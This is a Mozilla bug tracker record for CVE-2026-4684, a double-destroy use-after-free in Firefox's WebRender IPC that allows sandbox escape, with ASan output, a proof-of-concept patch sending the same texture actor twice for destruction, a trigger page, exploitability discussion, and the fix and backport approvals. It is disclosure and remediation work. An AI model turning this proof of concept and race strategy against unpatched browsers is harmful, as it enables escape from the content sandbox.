Closed Bug 2011129 (CVE-2026-4684) Opened 6 months ago Closed 4 months ago

Use-after-free in multiple actor destroying using webrender apis (Sandbox esacpe)

Categories

(Core :: Graphics: WebRender, defect)

defect

Tracking

()

RESOLVED FIXED
150 Branch
Tracking Status
firefox-esr115 149+ fixed
firefox-esr140 149+ fixed
firefox148 --- wontfix
firefox149 + fixed
firefox150 + fixed

People

(Reporter: oskarlindberg348, Assigned: bradwerth)

References

Details

(5 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+])

Attachments

(4 files)

Writeup follows

Flags: sec-bounty?

Background

Similar to Bug 2011063

Vulnerability

We can set the display list via SetDisplayList.
one of the arguments being an array of textures to destroy:

mozilla::ipc::IPCResult WebRenderBridgeParent::RecvSetDisplayList(
    DisplayListData&& aDisplayList, nsTArray<OpDestroy>&& aToDestroy,
    const uint64_t& aFwdTransactionId, const TransactionId& aTransactionId,
    const bool& aContainsSVGGroup, const VsyncId& aVsyncId,
    const TimeStamp& aVsyncStartTime, const TimeStamp& aRefreshStartTime,
    const TimeStamp& aTxnStartTime, const nsACString& aTxnURL,
    const TimeStamp& aFwdTime, nsTArray<CompositionPayload>&& aPayloads,
    const bool& aRenderOffscreen) {
    ...
      // This ensures that destroy operations are always processed. It is not safe
  // to early-return from RecvDPEnd without doing so.
  AutoWebRenderBridgeParentAsyncMessageSender autoAsyncMessageSender(
      this, &aToDestroy);

	...
}
    

when AutoWebRenderBridgeParentAsyncMessageSender goes out of scope, it will call destroy on the actors in the array:

  ~AutoWebRenderBridgeParentAsyncMessageSender() {
    mWebRenderBridgeParent->SendPendingAsyncMessages();
    if (mActorsToDestroy) {
      // Destroy the actors after sending the async messages because the latter
      // may contain references to some actors.
      for (const auto& op : *mActorsToDestroy) {
        mWebRenderBridgeParent->DestroyActor(op);
      }
    }
  }

DestroyActor will eventually free the actor.
there is no validation that the same actor wasn't destroyed earlier.
hence if we destroy the same actor twice, we will reach a use-after free in the destroy loop.

Asan report

==273328==ERROR: AddressSanitizer: heap-use-after-free on address 0x50b0003e1f01 at pc 0x757ee01151a4 bp 0x757e95b82dc0 sp 0x757e95b82db8
READ of size 1 at 0x50b0003e1f01 thread T67
    #0 0x757ee01151a3 in mozilla::layers::ParentActor<mozilla::layers::PTextureParent>::DestroyIfNeeded() /home/user/Downloads/firefox/gfx/layers/IPDLActor.h:45:10
    #1 0x757ee01151a3 in mozilla::layers::ParentActor<mozilla::layers::PTextureParent>::RecvDestroy() /home/user/Downloads/firefox/gfx/layers/IPDLActor.h:34:5
    #2 0x757ee01151a3 in mozilla::layers::TextureHost::ReceivedDestroy(mozilla::layers::PTextureParent*) /home/user/Downloads/firefox/gfx/layers/composite/TextureHost.cpp:870:40
    #3 0x757ee054293b in mozilla::layers::AutoWebRenderBridgeParentAsyncMessageSender::~AutoWebRenderBridgeParentAsyncMessageSender() 
    
0x50b0003e1f01 is located 49 bytes inside of 104-byte region [0x50b0003e1ed0,0x50b0003e1f38)
freed by thread T67 here:
    #0 0x5613937d51f6 in free /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:52:3
    #1 0x757ee0110081 in mozilla::layers::TextureHost::DestroyIPDLActor(mozilla::layers::PTextureParent*) /home/user/Downloads/firefox/gfx/layers/composite/TextureHost.cpp:137:3
    #2 0x757edf1cb32f in mozilla::ipc::ActorLifecycleProxy::~ActorLifecycleProxy() /home/user/Downloads/firefox/ipc/glue/ProtocolUtils.cpp:291:11
    #3 0x757edf1ce435 in mozilla::ipc::ActorLifecycleProxy::Release() /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/mozilla/ipc/ProtocolUtils.h:666:3
    #4 0x757edf1ce435 in mozilla::RefPtrTraits<mozilla::ipc::ActorLifecycleProxy>::Release(mozilla::ipc::ActorLifecycleProxy*) /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/mozilla/RefPtr.h:49:40
    #5 0x757edf1ce435 in RefPtr<mozilla::ipc::ActorLifecycleProxy>::ConstRemovingRefPtrTraits<mozilla::ipc::ActorLifecycleProxy>::Release(mozilla::ipc::ActorLifecycleProxy*) /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/mozilla/RefPtr.h:409:36
    #6 0x757edf1ce435 in RefPtr<mozilla::ipc::ActorLifecycleProxy>::~RefPtr() /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/mozilla/RefPtr.h:80:7
    #7 0x757edf1ce435 in nsTArrayElementTraits<RefPtr<mozilla::ipc::ActorLifecycleProxy>>::Destruct(RefPtr<mozilla::ipc::ActorLifecycleProxy>*) /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/nsTArray.h:576:45
    #8 0x757edf1ce435 in nsTArray_Impl<RefPtr<mozilla::ipc::ActorLifecycleProxy>, nsTArrayInfallibleAllocator>::DestructRange(unsigned long, unsigned long) /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/nsTArray.h:2339:7
    #9 0x757edf1ce435 in nsTArray_Impl<RefPtr<mozilla::ipc::ActorLifecycleProxy>, nsTArrayInfallibleAllocator>::ClearAndRetainStorage() /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/nsTArray.h:1363:5


SUMMARY: AddressSanitizer: heap-use-after-free /home/user/Downloads/firefox/gfx/layers/IPDLActor.h:45:10 in mozilla::layers::ParentActor<mozilla::layers::PTextureParent>::DestroyIfNeeded()

Implications

Firefox latest and cross-platform use after free.

Reproduction

  1. Apply the following patch:
diff --git a/gfx/layers/wr/WebRenderBridgeChild.cpp b/gfx/layers/wr/WebRenderBridgeChild.cpp
index 16b300029294..483632087b45 100644
--- a/gfx/layers/wr/WebRenderBridgeChild.cpp
+++ b/gfx/layers/wr/WebRenderBridgeChild.cpp
@@ -7,12 +7,14 @@
 #include "mozilla/layers/WebRenderBridgeChild.h"
 
 #include "gfxPlatform.h"
+#include "mozilla/NotNull.h"
 #include "mozilla/StaticPrefs_gfx.h"
 #include "mozilla/layers/CompositableClient.h"
 #include "mozilla/layers/CompositorBridgeChild.h"
 #include "mozilla/layers/CompositorManagerChild.h"
 #include "mozilla/layers/ImageDataSerializer.h"
 #include "mozilla/layers/IpcResourceUpdateQueue.h"
+#include "mozilla/layers/LayersMessages.h"
 #include "mozilla/layers/StackingContextHelper.h"
 #include "mozilla/layers/PTextureChild.h"
 #include "mozilla/layers/WebRenderLayerManager.h"
@@ -173,6 +175,25 @@ void WebRenderBridgeChild::EndEmptyTransaction(
     mManager->TakeCompositionPayloads(payloads);
   }
 
+  const auto aDisplay = gfx::IntRect(0, -100, 0x100, 0x100);
+  const auto aYSize = gfx::IntSize(0x100, 2);
+  const auto aYStride = 0x100;
+  const auto aCbCrSize = gfx::IntSize(2, 2);
+  auto aCbCrStride = 0x2;
+  auto modifiedTexture = TextureClient::CreateForYCbCr(
+      this, aDisplay, aYSize, aYStride, aCbCrSize, aCbCrStride,
+      StereoMode::MONO, gfx ::ColorDepth::COLOR_8, gfx::YUVColorSpace::BT601,
+      gfx::ColorRange::LIMITED, gfx::ChromaSubsampling::FULL,
+      TextureFlags::SNAPSHOT);
+
+  // auto currentTexture = modifiedTexture;
+  auto leak = modifiedTexture.take();
+  leak->InitIPDLActor(this);
+
+  // Now add the same actor twice.
+  AddOpDestroy(OpDestroy(WrapNotNull(leak->GetIPDLActor())));
+  AddOpDestroy(OpDestroy(WrapNotNull(leak->GetIPDLActor())));
+
   this->SendEmptyTransaction(
       aFocusTarget, std::move(aTransactionData), mDestroyedActors,
       GetFwdTransactionId(), aTransactionId, aVsyncId, aVsyncStartTime,

  1. Host the following index.html:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>OffscreenCanvas Rectangle</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
            margin: 0;
            background-color: #f4f4f9;
        }

        h1 {
            color: #333;
            margin-bottom: 20px;
        }

        canvas {
            border: 2px solid #333;
            background-color: #fff;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }

        .status {
            margin-top: 20px;
            font-size: 1.1em;
            color: #555;
        }
    </style>
</head>
<body>
    <h1>OffscreenCanvas Example</h1>
    <canvas id="main-canvas" width="400" height="300"></canvas>
    <div class="status"></div>

    <script>
        // Get the canvas from the main HTML document.
        const canvas = document.getElementById('main-canvas');
        const statusDiv = document.querySelector('.status');

        // Check if OffscrevenCanvas is supported by the browser.
        if ('transferControlToOffscreen' in canvas) {
            statusDiv.textContent = 'Transferring canvas control to web worker...';

            // Transfer the canvas control to an OffscreenCanvas.
            const offscreen = canvas.transferControlToOffscreen();

            // Create a web worker from a Blob containing the worker's code.
            // This allows us to keep all the code in a single HTML file.
            const workerCode = `
                self.onmessage = function(event) {
                    // Receive the OffscreenCanvas object from the main thread.
                    const offscreenCanvas = event.data.canvas;
                    
                    // Get the 2D rendering context for the offscreen canvas.
                    const ctx = offscreenCanvas.getContext('2d');
                    
                    // All drawing operations happen here, completely off the main thread.
                    ctx.fillStyle = '#4CAF50'; // Green color
                    ctx.fillRect(50, 50, 300, 200); // Draw a rectangle
                    
                    // Send a message back to the main thread to confirm completion.
                    self.postMessage('Drawing complete!');
                };
            `;
            const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
            const worker = new Worker(URL.createObjectURL(workerBlob));

            // Send the OffscreenCanvas to the worker.
            // The canvas is "transferred" to the worker's memory space,
            // which means it is no longer usable on the main thread.
            worker.postMessage({ canvas: offscreen }, [offscreen]);

            // Listen for a message from the worker to update the status.
            worker.onmessage = function(event) {
                statusDiv.textContent = 'Worker finished: ' + event.data;
            };

        } else {
            statusDiv.textContent = 'OffscreenCanvas is not supported in this browser.';
        }
    </script>
</body>
</html>

Found via manual auditing.

Group: firefox-core-security → gfx-core-security
Component: Security → Graphics
Product: Firefox → Core
See Also: → CVE-2026-2761
Severity: -- → S2
Component: Graphics → Graphics: WebRender

Is there reason to think that these would get destroy called on them through another path?

For the purpose of fixing this bug, it appears to me that we use the same pattern in ImageBridgeParent as well as WebRenderBridgeParent. We should make sure to look at both.

A double-free in the same loop isn't usually all that useful for exploits, unless the destructor triggers some other kind of (scripted?) action to manipulate things between frees. Otherwise it's a super hard race to win with something else trying to allocate the right-sized object at just the right time.

(In reply to Daniel Veditz [:dveditz] from comment #4)

A double-free in the same loop isn't usually all that useful for exploits, unless the destructor triggers some other kind of (scripted?) action to manipulate things between frees. Otherwise it's a super hard race to win with something else trying to allocate the right-sized object at just the right time.

I believe this is exploitable (and not so hard to do so, actually), as you have control on the loop length, you can send a very long list, which also triggers rpc on destruction (sending destruction message to the content actor), you can seperate between the second usage of the pointer and the first free, making a large enough window to use another thread to allocate the freed actor and exploit the UAF

Flags: needinfo?(dveditz)

clearing rating for re-triage

Flags: needinfo?(dveditz)
Keywords: sec-moderate

I will build something to de-dup the actor destructors.

Assignee: nobody → bwerth
Keywords: sec-high
Status: NEW → RESOLVED
Closed: 4 months ago
Duplicate of bug: 2017894
Resolution: --- → DUPLICATE

My mistake, Bug 2017894 is the fix for the very similar case in ImageBridgeParent. I will build a fix for WebRenderBridgeParent here.

Status: RESOLVED → REOPENED
No longer duplicate of bug: 2017894
Resolution: DUPLICATE → ---
Attached file (secure)
See Also: → 2017894

Comment on attachment 9551577 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Easily with a compromised content process. The memory access patterns are deterministic.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: Easy to create, probably grafts cleanly.
  • How likely is this patch to cause regressions; how much testing does it need?: Unlikely to cause regressions.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9551577 - Flags: sec-approval?

Comment on attachment 9551577 [details]
(secure)

sec-approval+ to land now and request uplifts. We are almost at the end of 149 beta

Attachment #9551577 - Flags: sec-approval?
Attachment #9551577 - Flags: sec-approval+
Attachment #9551577 - Flags: approval-mozilla-beta+
Attachment #9551577 - Flags: approval-mozilla-beta+

adding NI here too, since we need the uplift requests asap in order to roll this out with 149

Flags: needinfo?(bwerth)
Pushed by bwerth@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/e3f8da66e7a9 https://hg.mozilla.org/integration/autoland/rev/eb45a69bccab Make WebRenderBridgeParent::RecvSetDisplayList and ::RecvEmptyTransaction skip duplicate operations. r=lsalzman

firefox-beta Uplift Approval Request

  • User impact if declined: Possible parent process UAF from compromised content process.
  • Code covered by automated testing: no
  • Fix verified in Nightly: no
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Deduplication of commands; won't change normal behavior.
  • String changes made/needed: None
  • Is Android affected?: yes
Attachment #9552338 - Flags: approval-mozilla-beta?
Attached file (secure)

firefox-esr115 Uplift Approval Request

  • User impact if declined: Possible parent process UAF from compromised content process.
  • Code covered by automated testing: no
  • Fix verified in Nightly: no
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Deduplication of commands; won't change normal behavior.
  • String changes made/needed: None
  • Is Android affected?: yes
Attachment #9552339 - Flags: approval-mozilla-esr115?
Attached file (secure)

firefox-esr140 Uplift Approval Request

  • User impact if declined: Possible parent process UAF from compromised content process.
  • Code covered by automated testing: no
  • Fix verified in Nightly: no
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Deduplication of commands; won't change normal behavior.
  • String changes made/needed: None
  • Is Android affected?: yes
Attachment #9552340 - Flags: approval-mozilla-esr140?
Attached file (secure)

(In reply to Dianna Smith [:diannaS] from comment #13)

adding NI here too, since we need the uplift requests asap in order to roll this out with 149

Uplifts requested.

Flags: needinfo?(bwerth)
Group: gfx-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 4 months ago4 months ago
Resolution: --- → FIXED
Target Milestone: --- → 150 Branch
Attachment #9552338 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c150/b149]
Attachment #9552339 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115+
Attachment #9552340 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+]
Alias: CVE-2026-4684
Duplicate of this bug: 2028703
Flags: sec-bounty? → sec-bounty+
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: